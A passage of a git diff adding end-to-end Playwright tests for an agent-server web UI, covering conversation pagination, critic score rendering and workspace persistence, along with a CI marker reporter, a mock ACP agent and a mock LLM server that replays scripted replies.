+    `**/api/conversations/${PAGINATION_CONVERSATION_ID}/events/search**`,
+    async (route, req) => {
+      if (req.method() !== "GET") {
+        await route.fallback();
+        return;
+      }
+      const url = new URL(req.url());
+      const isOlderPage = url.searchParams.has("timestamp__lt");
+      const result = searchPaginationEvents(allEvents, url.searchParams);
+      if (isOlderPage) {
+        await new Promise((r) => setTimeout(r, 300));
+      }
+      await route.fulfill({
+        status: 200,
+        contentType: "application/json",
+        body: JSON.stringify(result),
+      });
+    },
+  );
+}
+
+/** Intercept conversation lookup + event search for critic rendering tests. */
+async function routeCriticConversation(page: Page) {
+  const criticEvents = createCriticEvents();
+
+  await page.route(/\/api\/conversations\?/, async (route, req) => {
+    if (req.method() !== "GET") {
+      await route.fallback();
+      return;
+    }
+    const url = new URL(req.url());
+    const ids = [
+      ...url.searchParams.getAll("ids"),
+      ...url.searchParams.getAll("ids[]"),
+    ];
+    if (ids.includes(CRITIC_CONVERSATION_ID)) {
+      await route.fulfill({
+        status: 200,
+        contentType: "application/json",
+        body: JSON.stringify([buildCriticConversation()]),
+      });
+    } else {
+      await route.fallback();
+    }
+  });
+
+  await page.route(
+    `**/api/conversations/${CRITIC_CONVERSATION_ID}/events/search**`,
+    async (route, req) => {
+      if (req.method() !== "GET") {
+        await route.fallback();
+        return;
+      }
+      const url = new URL(req.url());
+      await route.fulfill({
+        status: 200,
+        contentType: "application/json",
+        body: JSON.stringify(
+          searchCriticEvents(criticEvents, url.searchParams),
+        ),
+      });
+    },
+  );
+}
+
+async function getChatScroller(page: Page) {
+  const chatInterface = page.getByTestId("chat-interface");
+  await expect(chatInterface).toBeVisible({ timeout: 15_000 });
+  const scroller = chatInterface.locator(".custom-scrollbar-always").first();
+  await expect(scroller).toBeVisible();
+  return scroller;
+}
+
+async function waitForScrollableConversation(page: Page) {
+  const scroller = await getChatScroller(page);
+  await expect
+    .poll(() => scroller.evaluate((el) => el.scrollHeight > el.clientHeight), {
+      timeout: 15_000,
+    })
+    .toBe(true);
+  return scroller;
+}
+
+async function triggerOlderEventLoad(page: Page) {
+  const scroller = await waitForScrollableConversation(page);
+  await scroller.evaluate((el) => {
+    el.scrollTop = 0;
+    el.dispatchEvent(new Event("scroll", { bubbles: true }));
+  });
+}
+
+// ═══════════════════════════════════════════════════════════════════════
+// Tests
+// ═══════════════════════════════════════════════════════════════════════
+
+test.describe("UI regressions", () => {
+  test.beforeEach(async ({ page }) => {
+    await seedLocalStorage(page);
+  });
+
+  // ── CSS isolation ────────────────────────────────────────────────
+
+  test("scopes standalone styles to the agent-server-ui shell", async ({
+    page,
+  }) => {
+    await routeSessionApiKey(page);
+    await page.goto("/", { waitUntil: "domcontentloaded" });
+
+    const shell = page.locator("[data-agent-server-ui]").first();
+    await expect(shell).toBeVisible({ timeout: 15_000 });
+    const layout = page.getByTestId("root-layout");
+    await expect(layout).toBeVisible();
+
+    // The scoped background comes from the built stylesheet. In this SPA
+    // build (`ssr: false`) `root-layout` can be visible — it only needs
+    // geometry — a frame before the global CSS <link> lands in the CSSOM,
+    // so a single read can catch the unstyled first paint as a transient
+    // "rgba(0, 0, 0, 0)". The window is widest under the resource-starved
+    // Docker E2E runner, where this test flaked. Poll until the scoped
+    // styles resolve before asserting.
+    await expect
+      .poll(
+        () => shell.evaluate((el) => getComputedStyle(el).backgroundColor),
+        { timeout: 15_000 },
+      )
+      .not.toBe("rgba(0, 0, 0, 0)");
+
+    const insideBackground = await shell.evaluate(
+      (el) => getComputedStyle(el).backgroundColor,
+    );
+
+    const outsideStyles = await page.evaluate(() => {
+      const probe = document.createElement("div");
+      probe.className = "bg-base text-content-2";
+      probe.textContent = "host";
+      document.documentElement.appendChild(probe);
+      const styles = getComputedStyle(probe);
+      return {
+        backgroundColor: styles.backgroundColor,
+        color: styles.color,
+      };
+    });
+
+    expect(insideBackground).not.toBe("rgba(0, 0, 0, 0)");
+    expect(outsideStyles.backgroundColor).not.toBe(insideBackground);
+  });
+
+  // ── critic result rendering ──────────────────────────────────────
+
+  test("renders critic results on agent messages and finish actions", async ({
+    page,
+  }) => {
+    await routeSessionApiKey(page);
+    await routeCriticConversation(page);
+
+    await page.goto(`/conversations/${CRITIC_CONVERSATION_ID}`, {
+      waitUntil: "domcontentloaded",
+    });
+
+    const criticLabels = page.getByText("Critic: agent success likelihood");
+    await expect(criticLabels).toHaveCount(2, { timeout: 15_000 });
+    await expect(page.locator('[aria-label="Score: 82.0%"]')).toBeVisible();
+    await expect(page.locator('[aria-label="Score: 64.0%"]')).toBeVisible();
+
+    await page.getByLabel("Expand details").first().click();
+    await expect(page.getByText("Potential Issues:")).toBeVisible();
+    await expect(page.getByText("Incomplete Changes")).toBeVisible();
+    await expect(page.getByText("Infrastructure:")).toBeVisible();
+    await expect(page.getByText("Test Environment")).toBeVisible();
+    await expect(page.getByText("Likely Follow-up:")).toBeVisible();
+    await expect(page.getByText("Asks for tests")).toBeVisible();
+  });
+
+  // ── event pagination on scroll-up ────────────────────────────────
+
+  test("loads older events when scrolling up", async ({ page }) => {
+    test.setTimeout(60_000);
+    await routeSessionApiKey(page);
+    await routePaginationConversation(page);
+
+    const initialRequestPromise = page.waitForRequest((req: Request) => {
+      if (req.method() !== "GET") return false;
+      if (
+        !req
+          .url()
+          .includes(
+            `/api/conversations/${PAGINATION_CONVERSATION_ID}/events/search`,
+          )
+      )
+        return false;
+      return !new URL(req.url()).searchParams.has("timestamp__lt");
+    });
+
+    await page.goto(`/conversations/${PAGINATION_CONVERSATION_ID}`, {
+      waitUntil: "domcontentloaded",
+    });
+
+    // Verify initial request sends correct params.
+    const initialRequest = await initialRequestPromise;
+    const initialUrl = new URL(initialRequest.url());
+    expect(initialUrl.searchParams.get("limit")).toBe(String(PAGE_SIZE));
+    expect(initialUrl.searchParams.get("sort_order")).toBe("TIMESTAMP_DESC");
+
+    // Most recent message should be visible; older page should not.
+    await expect(
+      page.getByText("Pagination message 100", { exact: true }),
+    ).toBeVisible({ timeout: 15_000 });
+    await expect(
+      page.getByText("Pagination message 50", { exact: true }),
+    ).toHaveCount(0);
+
+    // Scroll to top to trigger older-event loading.
+    const olderRequestPromise = page.waitForRequest((req: Request) => {
+      if (req.method() !== "GET") return false;
+      if (
+        !req
+          .url()
+          .includes(
+            `/api/conversations/${PAGINATION_CONVERSATION_ID}/events/search`,
+          )
+      )
+        return false;
+      return new URL(req.url()).searchParams.has("timestamp__lt");
+    });
+
+    await triggerOlderEventLoad(page);
+
+    await expect(page.getByTestId("loading-older-events")).toContainText(
+      "Fetching older messages",
+    );
+
+    const olderRequest = await olderRequestPromise;
+    const olderUrl = new URL(olderRequest.url());
+    expect(olderUrl.searchParams.get("limit")).toBe(String(PAGE_SIZE));
+    expect(olderUrl.searchParams.get("sort_order")).toBe("TIMESTAMP_DESC");
+    expect(olderUrl.searchParams.get("timestamp__lt")).toBe(
+      timestampForEvent(51),
+    );
+
+    await expect(
+      page.getByText("Pagination message 50", { exact: true }),
+    ).toBeAttached({ timeout: 15_000 });
+    await expect(page.getByTestId("loading-older-events")).toHaveCount(0);
+  });
+
+  // ── #1076: workspace selection persistence ───────────────────────
+
+  test("selected workspace persists after navigating away and returning", async ({
+    page,
+  }) => {
+    test.setTimeout(60_000);
+    await routeSessionApiKey(page);
+
+    // Stub the workspace listing endpoint (GET /api/workspaces) to return
+    // deterministic entries in the server-persisted shape:
+    //   { workspaces: [...], workspaceParents: [...] }
+    const workspacesMock = {
+      workspaces: [
+        {
+          id: "/workspace/project/demo-app",
+          name: "demo-app",
+          path: "/workspace/project/demo-app",
+        },
+        {
+          id: "/workspace/project/sample-tools",
+          name: "sample-tools",
+          path: "/workspace/project/sample-tools",
+        },
+        {
+          id: "/workspace/project/notes-service",
+          name: "notes-service",
+          path: "/workspace/project/notes-service",
+        },
+      ],
+      workspaceParents: [],
+    };
+    await page.route("**/api/workspaces**", async (route, req) => {
+      if (req.method() !== "GET") {
+        await route.fallback();
+        return;
+      }
+      await route.fulfill({
+        status: 200,
+        contentType: "application/json",
+        body: JSON.stringify(workspacesMock),
+      });
+    });
+
+    await page.goto("/conversations", { waitUntil: "domcontentloaded" });
+
+    // Open workspace dialog and pick a workspace
+    const openButton = page.getByTestId("open-workspace-button");
+    await expect(openButton).toBeEnabled({ timeout: 15_000 });
+    await openButton.click();
+    await expect(page.getByTestId("open-workspace-dialog-body")).toBeVisible();
+
+    const dropdown = page.getByTestId("workspace-dropdown");
+    await expect(dropdown).toBeEnabled({ timeout: 15_000 });
+    await dropdown.click();
+
+    const menu = page.getByTestId("workspace-dropdown-menu");
+    await expect(menu).toBeVisible();
+    await menu.getByText("demo-app", { exact: true }).click();
+
+    await expect(dropdown).toHaveValue("demo-app");
+
+    // Close the dialog
+    await page.getByTestId("close-open-workspace-dialog").click();
+    await expect(
+      page.getByTestId("open-workspace-dialog-body"),
+    ).not.toBeVisible();
+
+    // Navigate away and back
+    await page.goto("/settings", { waitUntil: "domcontentloaded" });
+    await expect(page.getByTestId("home-screen")).not.toBeVisible({
+      timeout: 5_000,
+    });
+
+    await page.goto("/conversations", { waitUntil: "domcontentloaded" });
+    await expect(page.getByTestId("home-screen")).toBeVisible({
+      timeout: 10_000,
+    });
+
+    // Reopen workspace dialog — selection should be restored.
+    const reopenButton = page.getByTestId("open-workspace-button");
+    await expect(reopenButton).toBeEnabled({ timeout: 15_000 });
+    await reopenButton.click();
+    await expect(page.getByTestId("open-workspace-dialog-body")).toBeVisible();
+
+    const restored = page.getByTestId("workspace-dropdown");
+    await expect(restored).toBeEnabled({ timeout: 15_000 });
+    await expect(restored).toHaveValue("demo-app");
+  });
+
+  test("cleared sessionStorage yields empty workspace selection", async ({
+    page,
+  }) => {
+    test.setTimeout(60_000);
+    await routeSessionApiKey(page);
+
+    await page.route("**/api/workspaces**", async (route, req) => {
+      if (req.method() !== "GET") {
+        await route.fallback();
+        return;
+      }
+      await route.fulfill({
+        status: 200,
+        contentType: "application/json",
+        body: JSON.stringify({
+          workspaces: [
+            {
+              id: "/workspace/project/demo-app",
+              name: "demo-app",
+              path: "/workspace/project/demo-app",
+            },
+            {
+              id: "/workspace/project/sample-tools",
+              name: "sample-tools",
+              path: "/workspace/project/sample-tools",
+            },
+          ],
+          workspaceParents: [],
+        }),
+      });
+    });
+
+    // Explicitly clear persisted workspace path
+    await page.addInitScript(() => {
+      window.sessionStorage.removeItem("oh:home-selected-workspace-path");
+    });
+
+    await page.goto("/conversations", { waitUntil: "domcontentloaded" });
+
+    const openButton = page.getByTestId("open-workspace-button");
+    await expect(openButton).toBeEnabled({ timeout: 15_000 });
+    await openButton.click();
+    await expect(page.getByTestId("open-workspace-dialog-body")).toBeVisible();
+
+    const dropdown = page.getByTestId("workspace-dropdown");
+    await expect(dropdown).toBeEnabled({ timeout: 15_000 });
+    await expect(dropdown).toHaveValue("");
+  });
+});
diff --git a/tests/e2e/mock-llm/reporters/done-marker-reporter.ts b/tests/e2e/mock-llm/reporters/done-marker-reporter.ts
new file mode 100644
index 0000000000000000000000000000000000000000..f131dc59240b79dfe848d3356e7178a2d428d6f3
--- /dev/null
+++ b/tests/e2e/mock-llm/reporters/done-marker-reporter.ts
@@ -0,0 +1,140 @@
+/**
+ * Custom Playwright reporter that writes marker files for CI coordination.
+ *
+ * Marker files are written to `.mock-llm-markers/` at the project root —
+ * intentionally outside Playwright's `outputDir` (`test-results-mock-llm/`)
+ * to avoid being cleaned up.
+ *
+ * Written markers:
+ *   .results.json — written after EVERY test; always has the latest results
+ *                   so that even a mid-suite kill leaves usable data
+ *   .tests-done   — written only when all tests complete; content is
+ *                   "passed" or "failed"
+ *   .all-passed   — written only when all tests passed
+ */
+
+import { mkdirSync, writeFileSync } from "node:fs";
+import { join } from "node:path";
+import type {
+  FullResult,
+  Reporter,
+  TestCase,
+  TestResult,
+} from "@playwright/test/reporter";
+
+// Playwright runs from the project root (where the config file lives).
+const MARKER_DIR = join(process.cwd(), ".mock-llm-markers");
+
+interface TestRecord {
+  title: string;
+  status: string;
+  durationMs: number;
+  error: string;
+}
+
+/**
+ * Tracks test results and writes them incrementally.
+ *
+ * `.results.json` is flushed after every `onTestEnd()` so the CI report
+ * script always has data — even when the process is killed mid-suite
+ * (e.g. the CI polling deadline expires before all tests finish).
+ *
+ * `.tests-done` / `.all-passed` are written only when the full suite
+ * completes, letting the CI wrapper distinguish "still running" from
+ * "done".
+ */
+class DoneMarkerReporter implements Reporter {
+  private totalTests = 0;
+  private completedTests = 0;
+  private allPassed = true;
+  private tests: TestRecord[] = [];
+  private markerDirCreated = false;
+
+  onBegin(_config: unknown, suite: { allTests(): TestCase[] }) {
+    this.totalTests = suite.allTests().length;
+  }
+
+  onTestEnd(test: TestCase, result: TestResult) {
+    this.completedTests++;
+    const passed = result.status === "passed" || result.status === "skipped";
+    if (!passed) {
+      this.allPassed = false;
+    }
+
+    this.tests.push({
+      title: test.titlePath().filter(Boolean).join(" › "),
+      status: result.status,
+      durationMs: result.duration,
+      error: result.errors
+        .map((e) => e.message ?? "")
+        .filter(Boolean)
+        .join("\n\n")
+        .slice(0, 1500),
+    });
+
+    // Always flush results so a mid-suite kill still leaves usable data.
+    this.writeResults();
+
+    // Write completion markers only after the last test.
+    if (this.completedTests >= this.totalTests) {
+      this.writeCompletionMarkers();
+    }
+  }
+
+  onEnd(_result: FullResult) {
+    // Fallback: if onTestEnd never fired (webServer timeout, config
+    // error, etc.), treat that as a failure and write what we have.
+    if (this.totalTests === 0 || this.completedTests === 0) {
+      this.allPassed = false;
+    }
+    this.writeResults();
+    this.writeCompletionMarkers();
+  }
+
+  /** Flush per-test timing/error data — called after every test. */
+  private writeResults() {
+    const done = this.completedTests >= this.totalTests;
+    const status = done
+      ? this.allPassed
+        ? "passed"
+        : "failed"
+      : "in_progress";
+    try {
+      this.ensureMarkerDir();
+      writeFileSync(
+        join(MARKER_DIR, ".results.json"),
+        JSON.stringify({
+          status,
+          completed: this.completedTests,
+          total: this.totalTests,
+          tests: this.tests,
+        }),
+      );
+    } catch {
+      // Don't crash Playwright if marker write fails
+    }
+  }
+
+  /** Write .tests-done and .all-passed — only when the suite is complete. */
+  private writeCompletionMarkers() {
+    const status = this.allPassed ? "passed" : "failed";
+    try {
+      this.ensureMarkerDir();
+      writeFileSync(join(MARKER_DIR, ".tests-done"), status);
+      if (this.allPassed) {
+        writeFileSync(join(MARKER_DIR, ".all-passed"), "1");
+      }
+    } catch {
+      // Don't crash Playwright if marker write fails
+    }
+  }
+
+  private ensureMarkerDir() {
+    if (!this.markerDirCreated) {
+      mkdirSync(MARKER_DIR, { recursive: true });
+      this.markerDirCreated = true;
+    }
+  }
+}
+
+export default DoneMarkerReporter;
diff --git a/tests/e2e/mock-llm/scripts/mock-acp-server.py b/tests/e2e/mock-llm/scripts/mock-acp-server.py
new file mode 100644
index 0000000000000000000000000000000000000000..9802f9ba4d04ddd2542c26d010d2ae2fe7994790
--- /dev/null
+++ b/tests/e2e/mock-llm/scripts/mock-acp-server.py
@@ -0,0 +1,113 @@
+"""Mock ACP (Agent Client Protocol) server for E2E tests.
+
+A minimal stdio-based ACP agent that speaks JSON-RPC over stdin/stdout.
+The agent-server spawns this as a subprocess via ``acp_command`` and
+communicates with it using the ACP protocol.
+
+The agent responds to prompts with a scripted text reply containing
+``REPLY_TOKEN``, which the E2E test verifies appeared in the UI.
+
+Usage:
+    python mock-acp-server.py [--reply-token TOKEN]
+
+Requires:
+    pip install agent-client-protocol  (installed as dep of openhands-sdk)
+"""
+
+import argparse
+import asyncio
+import sys
+
+import acp
+from acp.schema import (
+    AgentCapabilities,
+    Implementation,
+    PromptCapabilities,
+)
+
+REPLY_TOKEN = "MOCK_ACP_E2E_REPLY_OK"
+
+
+class MockACPAgent(acp.Agent):
+    """Minimal ACP agent that returns a scripted reply to every prompt."""
+
+    def __init__(self, reply_token: str = REPLY_TOKEN) -> None:
+        self.reply_token = reply_token
+        self._conn: acp.Client | None = None
+
+    def on_connect(self, conn: acp.Client) -> None:
+        self._conn = conn
+
+    async def initialize(
+        self,
+        protocol_version: int,
+        client_capabilities=None,
+        client_info=None,
+        **kwargs,
+    ) -> acp.InitializeResponse:
+        print("[mock-acp] initialize", file=sys.stderr, flush=True)
+        return acp.InitializeResponse(
+            protocol_version=acp.PROTOCOL_VERSION,
+            agent_info=Implementation(
+                name="mock-acp-e2e",
+                title="Mock ACP E2E Agent",
+                version="1.0.0",
+            ),
+            agent_capabilities=AgentCapabilities(
+                prompt_capabilities=PromptCapabilities(),
+            ),
+        )
+
+    async def new_session(
+        self,
+        cwd: str,
+        additional_directories=None,
+        **kwargs,
+    ) -> acp.NewSessionResponse:
+        print(f"[mock-acp] new_session cwd={cwd}", file=sys.stderr, flush=True)
+        return acp.NewSessionResponse(session_id="mock-acp-session-001")
+
+    async def prompt(
+        self,
+        prompt,
+        session_id: str,
+        message_id: str | None = None,
+        **kwargs,
+    ) -> acp.PromptResponse:
+        # Extract user text for logging
+        user_text = ""
+        if prompt:
+            for block in prompt:
+                if hasattr(block, "text"):
+                    user_text += block.text
+        print(
+            f"[mock-acp] prompt session={session_id} text={user_text!r}",
+            file=sys.stderr,
+            flush=True,
+        )
+
+        # Send the agent's text reply as a session/update notification
+        if self._conn:
+            await self._conn.session_update(
+                session_id=session_id,
+                update=acp.update_agent_message_text(self.reply_token),
+            )
+
+        return acp.PromptResponse(stop_reason="end_turn")
+
+
+async def main(reply_token: str) -> None:
+    agent = MockACPAgent(reply_token=reply_token)
+    print(f"[mock-acp] starting (token={reply_token})", file=sys.stderr, flush=True)
+    await acp.run_agent(agent)
+
+
+if __name__ == "__main__":
+    parser = argparse.ArgumentParser(description="Mock ACP agent for E2E tests")
+    parser.add_argument(
+        "--reply-token",
+        default=REPLY_TOKEN,
+        help="Token to include in agent replies (default: %(default)s)",
+    )
+    args = parser.parse_args()
+    asyncio.run(main(args.reply_token))
diff --git a/tests/e2e/mock-llm/scripts/mock-llm-server.py b/tests/e2e/mock-llm/scripts/mock-llm-server.py
new file mode 100644
index 0000000000000000000000000000000000000000..39f0f5df8559e8ebb589837b035ce66ba7e9d324
--- /dev/null
+++ b/tests/e2e/mock-llm/scripts/mock-llm-server.py
@@ -0,0 +1,475 @@
+"""Mock OpenAI-compatible LLM server powered by openhands-sdk TestLLM.
+
+Serves scripted trajectories as OpenAI /v1/chat/completions responses.
+The agent-server's litellm layer talks to this instead of a real LLM provider.
+
+Usage:
+    python mock-llm-server.py [--port PORT]
+
+The server defines a single trajectory: one terminal tool call followed by a
+text reply. Extend TRAJECTORY to test richer scenarios (multi-turn, errors, etc).
+"""
+
+import json
+import os
+import sys
+import threading
+import time
+from http.server import HTTPServer, BaseHTTPRequestHandler
+
+os.environ["OPENHANDS_SUPPRESS_BANNER"] = "1"
+
+from openhands.sdk.llm import Message, MessageToolCall, TextContent
+from openhands.sdk.llm.exceptions import (
+    LLMAuthenticationError,
+    LLMBadRequestError,
+    LLMContextWindowExceedError,
+    LLMRateLimitError,
+    LLMServiceUnavailableError,
+    LLMTimeoutError,
+)
+from openhands.sdk.testing import TestLLM, TestLLMExhaustedError
+
+BASH_TOKEN = "MOCK_LLM_E2E_BASH_OK"
+REPLY_TOKEN = "MOCK_LLM_E2E_REPLY_OK"
+
+# The user turn the agent-server sends when it pre-flights a saved LLM profile
+# (POST /api/profiles/{name}/validate, agent-server >= 1.43). Matched by
+# _is_preflight_ping() so the check never touches the scripted trajectory.
+PREFLIGHT_PING_TEXT = "ping"
+
+# SDK exception → (HTTP status, OpenAI error type)
+ERROR_MAP: dict[type, tuple[int, str]] = {
+    LLMAuthenticationError: (401, "invalid_api_key"),
+    LLMRateLimitError: (429, "rate_limit_exceeded"),
+    LLMContextWindowExceedError: (400, "context_length_exceeded"),
+    LLMBadRequestError: (400, "invalid_request_error"),
+    LLMTimeoutError: (408, "timeout"),
+    LLMServiceUnavailableError: (503, "server_error"),
+}
+
+
+def build_trajectory() -> list[Message | Exception]:
+    """Build the scripted trajectory for the E2E test.
+
+    Turn 1: Agent calls the terminal tool with a printf command.
+    Turn 2: Agent replies with the expected token and finishes.
+    """
+    return [
+        Message(
+            role="assistant",
+            content=[TextContent(text="")],
+            tool_calls=[
+                MessageToolCall(
+                    id="call_mock_001",
+                    name="terminal",
+                    arguments=json.dumps(
+                        {"command": f"printf '{BASH_TOKEN}\\n'"}
+                    ),
+                    origin="completion",
+                )
+            ],
+        ),
+        Message(
+            role="assistant",
+            content=[TextContent(text=REPLY_TOKEN)],
+        ),
+    ]
+
+
+class MockLLMHandler(BaseHTTPRequestHandler):
+    test_llm: TestLLM  # set by serve()
+    # Named trajectories that tests can register via the admin API and then
+    # activate with POST /admin/trajectory/activate.
+    _named_trajectories: dict[str, list[Message | Exception]] = {}
+    # All completion request bodies since the last /admin/reset.
+    # Tests read them via GET /admin/requests to verify image / content details.
+    # Stored as a list so assertions survive even when the agent-server makes
+    # multiple LLM calls (e.g., internal condenser calls after the main turn).
+    _completion_requests: list = []
+    _lock = threading.Lock()
+
+    def do_GET(self):
+        """Health check and admin read endpoints."""
+        path = self.path.rstrip("/").split("?")[0]
+        if path == "/admin/requests":
+            with self._lock:
+                payload = list(MockLLMHandler._completion_requests)
+            self._send_json(200, {"requests": payload})
+            return
+        # Default: health check — Playwright's webServer probes GET / to detect readiness.
+        self._send_json(200, {"status": "ok", "server": "mock-llm"})
+
+    def do_POST(self):
+        path = self.path.rstrip("/")
+
+        # ── Admin API: reset trajectory to default ──
+        if path == "/admin/reset":
+            with self._lock:
+                MockLLMHandler.test_llm = TestLLM.from_messages(build_trajectory())
+                MockLLMHandler._named_trajectories.clear()
+                MockLLMHandler._completion_requests.clear()
+                remaining = MockLLMHandler.test_llm.remaining_responses
+            self._send_json(200, {
+                "status": "reset",
+                "remaining": remaining,
+            })
+            return
+
+        # ── Admin API: register a named trajectory ──
+        if path == "/admin/trajectory/register":
+            body = self._read_body()
+            if body is None:
+                return  # error response already sent
+            name = body.get("name", "")
+            raw_turns = body.get("turns", [])
+            if not name or not raw_turns:
+                self._send_error(400, "bad_request", "need 'name' and 'turns'")
+                return
+            try:
+                messages = _parse_trajectory_turns(raw_turns)
+            except ValueError as exc:
+                self._send_error(400, "bad_request", str(exc))
+                return
+            with self._lock:
+                MockLLMHandler._named_trajectories[name] = messages
+            self._send_json(200, {"status": "registered", "name": name, "turns": len(messages)})
+            return
+
+        # ── Admin API: activate a named trajectory ──
+        if path == "/admin/trajectory/activate":
+            body = self._read_body()
+            if body is None:
+                return  # error response already sent
+            name = body.get("name", "")
+            with self._lock:
+                msgs = MockLLMHandler._named_trajectories.get(name)
+            if msgs is None:
+                self._send_error(404, "not_found", f"trajectory '{name}' not registered")
+                return
+            with self._lock:
+                MockLLMHandler.test_llm = TestLLM.from_messages(list(msgs))
+                remaining = MockLLMHandler.test_llm.remaining_responses
+            self._send_json(200, {
+                "status": "activated",
+                "name": name,
+                "remaining": remaining,
+            })
+            return
+
+        # ── Reject unknown paths with a clear 404 ──
+        COMPLETION_PATHS = ("/v1/chat/completions", "/chat/completions", "/completions", "")
+        if path not in COMPLETION_PATHS:
+            self._send_error(404, "not_found", f"Unknown path: {path}")
+            return
+
+        # ── Normal chat completion ──
+        length = int(self.headers.get("Content-Length", 0))
+        body = json.loads(self.rfile.read(length)) if length else {}
+
+        # ── Profile pre-flight ping ──
+        # Saving a profile against agent-server >= 1.43 fires a 1-token "ping"
+        # completion through the submitted config, and the canvas waits at
+        # most 30 s for the verdict. Answer it here instead of feeding it to
+        # TestLLM: it would otherwise consume a scripted turn, and once the
+        # trajectory is exhausted the 500 below makes the SDK retry with
+        # backoff until the canvas gives up — leaving the profile editor stuck
+        # on "Validating...". It stays out of the request history, which tests
+        # read for the conversation's own completions.
+        if _is_preflight_ping(body):
+            raw = _preflight_pong(body.get("model"))
+            if body.get("stream"):
+                self._send_streaming(raw)
+            else:
+                self._send_json(200, raw)
+            return
+
+        # Append to request history for test verification.
+        # Tests can GET /admin/requests to confirm image content was included.
+        with self._lock:
+            MockLLMHandler._completion_requests.append(body)
+
+        try:
+            response = self.test_llm.completion([])
+        except TestLLMExhaustedError:
+            self._send_error(
+                500,
+                "server_error",
+                f"Mock LLM exhausted after {self.test_llm.call_count} calls",
+            )
+            return
+        except tuple(ERROR_MAP.keys()) as exc:
+            status, error_type = ERROR_MAP[type(exc)]
+            self._send_error(status, error_type, str(exc))
+            return
+
+        raw = response.raw_response.model_dump()
+
+        if body.get("stream"):
+            stream_options = body.get("stream_options") or {}
+            self._send_streaming(
+                raw, include_usage=bool(stream_options.get("include_usage"))
+            )
+        else:
+            self._send_json(200, raw)
+
+    def _send_streaming(self, raw: dict, include_usage: bool = False):
+        """SSE streaming: emit content chunk + finish chunk + [DONE]."""
+        choice = raw["choices"][0]
+        message = choice["message"]
+        base = {
+            "id": raw["id"],
+            "object": "chat.completion.chunk",
+            "created": raw.get("created", int(time.time())),
+            "model": raw["model"],
+        }
+
+        finish_reason = "stop"
+        tool_calls = message.get("tool_calls") or []
+        chunks = []
+        if tool_calls:
+            finish_reason = "tool_calls"
+            chunks.append(
+                {
+                    **base,
+                    "choices": [
+                        {
+                            "index": 0,
+                            "delta": {"role": message.get("role", "assistant")},
+                            "finish_reason": None,
+                        }
+                    ],
+                }
+            )
+            for i, tool_call in enumerate(tool_calls):
+                function = tool_call.get("function", {})
+                chunks.append(
+                    {
+                        **base,
+                        "choices": [
+                            {
+                                "index": 0,
+                                "delta": {
+                                    "tool_calls": [
+                                        {
+                                            "index": i,
+                                            "id": tool_call.get("id"),
+                                            "type": tool_call.get("type", "function"),
+                                            "function": {
+                                                "name": function.get("name"),
+                                                "arguments": "",
+                                            },
+                                        }
+                                    ]
+                                },
+                                "finish_reason": None,
+                            }
+                        ],
+                    }
+                )
+                if function.get("arguments"):
+                    chunks.append(
+                        {
+                            **base,
+                            "choices": [
+                                {
+                                    "index": 0,
+                                    "delta": {
+                                        "tool_calls": [
+                                            {
+                                                "index": i,
+                                                "function": {
+                                                    "arguments": function["arguments"]
+                                                },
+                                            }
+                                        ]
+                                    },
+                                    "finish_reason": None,
+                                }
+                            ],
+                        }
+                    )
+        else:
+            chunks.append(
+                {
+                    **base,
+                    "choices": [
+                        {
+                            "index": 0,
+                            "delta": {
+                                "role": message.get("role", "assistant"),
+                                "content": message.get("content") or "",
+                            },
+                            "finish_reason": None,
+                        }
+                    ],
+                }
+            )
+
+        finish_chunk = {
+            **base,
+            "choices": [{"index": 0, "delta": {}, "finish_reason": finish_reason}],
+        }
+
+        self.send_response(200)
+        self.send_header("Content-Type", "text/event-stream")
+        self.send_header("Cache-Control", "no-cache")
+        self.end_headers()
+        for chunk in [*chunks, finish_chunk]:
+            self.wfile.write(f"data: {json.dumps(chunk)}\n\n".encode())
+        if include_usage:
+            usage_chunk = {
+                **base,
+                "choices": [],
+                "usage": {
+                    "prompt_tokens": 10,
+                    "completion_tokens": 5,
+                    "total_tokens": 15,
+                },
+            }
+            self.wfile.write(f"data: {json.dumps(usage_chunk)}\n\n".encode())
+        self.wfile.write(b"data: [DONE]\n\n")
+        self.wfile.flush()
+
+    def _send_json(self, status: int, payload: dict):
+        body = json.dumps(payload).encode()
+        self.send_response(status)
+        self.send_header("Content-Type", "application/json")
+        self.send_header("Content-Length", str(len(body)))
+        self.end_headers()
+        self.wfile.write(body)
+
+    def _send_error(self, status: int, error_type: str, message: str):
+        self._send_json(
+            status,
+            {"error": {"message": message, "type": error_type, "code": error_type}},
+        )
+
+    def _read_body(self) -> dict | None:
+        """Read and parse JSON body. Returns None (after sending 400) on parse failure."""
+        length = int(self.headers.get("Content-Length", 0))
+        if not length:
+            return {}
+        try:
+            return json.loads(self.rfile.read(length))
+        except json.JSONDecodeError as exc:
+            self._send_error(400, "invalid_json", str(exc))
+            return None
+
+    def log_message(self, format, *args):
+        print(f"[mock-llm] {args[0]}", file=sys.stderr, flush=True)
+
+
+def _is_preflight_ping(body: dict) -> bool:
+    """Match the agent-server's profile pre-flight check.
+
+    It is a single user message saying "ping" with ``max_tokens=1`` (see
+    ``profiles_router.validate_profile`` in openhands-agent-server). The text
+    arrives either as a plain string or as OpenAI content parts.
+    """
+    if body.get("max_tokens") != 1:
+        return False
+    messages = body.get("messages")
+    if not isinstance(messages, list) or len(messages) != 1:
+        return False
+    message = messages[0]
+    if not isinstance(message, dict) or message.get("role") != "user":
+        return False
+    content = message.get("content")
+    if isinstance(content, list):
+        content = "".join(
+            part.get("text", "")
+            for part in content
+            if isinstance(part, dict) and part.get("type") == "text"
+        )
+    return isinstance(content, str) and content.strip() == PREFLIGHT_PING_TEXT
+
+
+def _preflight_pong(model: str | None) -> dict:
+    """Minimal OpenAI-style completion for the pre-flight ping.
+
+    Uses the raw shape ``_send_streaming`` also understands, so the reply works
+    whether or not the caller asked for streaming.
+    """
+    return {
+        "id": "chatcmpl-mock-preflight",
+        "object": "chat.completion",
+        "created": int(time.time()),
+        "model": model or "mock-preflight",
+        "choices": [
+            {
+                "index": 0,
+                "message": {"role": "assistant", "content": "pong"},
+                "finish_reason": "stop",
+            }
+        ],
+        "usage": {"prompt_tokens": 1, "completion_tokens": 1, "total_tokens": 2},
+    }
+
+
+def _parse_trajectory_turns(raw_turns: list[dict]) -> list[Message | Exception]:
+    """Convert JSON turn descriptors into Message objects.
+
+    Each turn is a dict with either:
+      - {"tool_call": {"name": ..., "arguments": ...}}  → tool-call message
+      - {"text": "..."}  → text reply message
+    """
+    messages: list[Message | Exception] = []
+    for i, turn in enumerate(raw_turns):
+        if "tool_call" in turn:
+            tc = turn["tool_call"]
+            messages.append(
+                Message(
+                    role="assistant",
+                    content=[TextContent(text="")],
+                    tool_calls=[
+                        MessageToolCall(
